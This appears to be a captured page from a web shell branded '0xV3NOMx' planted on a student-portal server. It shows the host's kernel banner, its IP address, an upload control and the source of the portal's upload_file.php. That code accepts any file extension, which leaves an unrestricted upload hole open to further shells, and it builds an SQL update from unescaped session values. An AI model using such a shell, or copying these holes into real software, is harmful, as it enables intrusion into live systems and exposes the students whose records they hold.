0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.148.104.103


Current Path : /var/www/html/studentportal_wait/src/
Upload File :
Current File : /var/www/html/studentportal_wait/src/upload_file.php

<?php
include("database.php");


$ds          = DIRECTORY_SEPARATOR;
$date = date("dmYhis");
$file_resp="";
if ( 0 < $_FILES['file']['error'] ) 
{
	echo 'Error: ' . $_FILES['file']['error'] . '<br>';
	$file_resp="Failed to upload file!";
}
else 
{
	$regno  = $_SESSION['REGNO'];
	$FUNIVCODE  = $_SESSION['UNIVCODE'];

	$folder  = $_SESSION['FOLDER'];

	$degree = $_SESSION['DEGREE'];
	$collcode = $_SESSION['COLLCODE'];

	// $folder = 'bcu';
	$path = realpath(__DIR__ . '/../..').$ds."oasis".$ds.$folder.$ds;
	// $path .= $ds."bcu".$ds;

	$college_path = $path."student_photos".$ds."{$collcode}";
	$degree_path = $path."student_photos".$ds.$collcode.$ds.$degree.$ds;

	if(!file_exists($college_path))
	{
		mkdir($college_path);
	}

	if(!file_exists($degree_path))
	{
		mkdir($degree_path);
	}

	// $name = $date.'_'.$_FILES['file']['name'];
	// $file_name = str_replace($_FILES['file']['name'],$name , $_FILES['file']['name']); // 
	// $path = realpath(__DIR__ . '/..').$ds.'upload'.$ds.$file_name;
	$file_name=basename($_FILES['file']['name']);

	// var_dump($file_name);

	$ext = pathinfo($file_name, PATHINFO_EXTENSION);
	
	$fullpath = $degree_path.$regno.".".$ext;
	// var_dump($fullpath);

	$photo_path = "/student_photos/{$collcode}/".$degree."/".$regno.".".$ext;
	
	if(move_uploaded_file($_FILES['file']['tmp_name'], $fullpath))
	{
		$update_qry = "update student set FPHOTOPATH='{$photo_path}' where FREGNO='{$regno}' 
		and FDEGREE='{$degree}' and FCOLLCODE='{$collcode}'";
		$dateResult = mysqli_query($conn,$update_qry);
	}

}	
echo $file_name; 

?>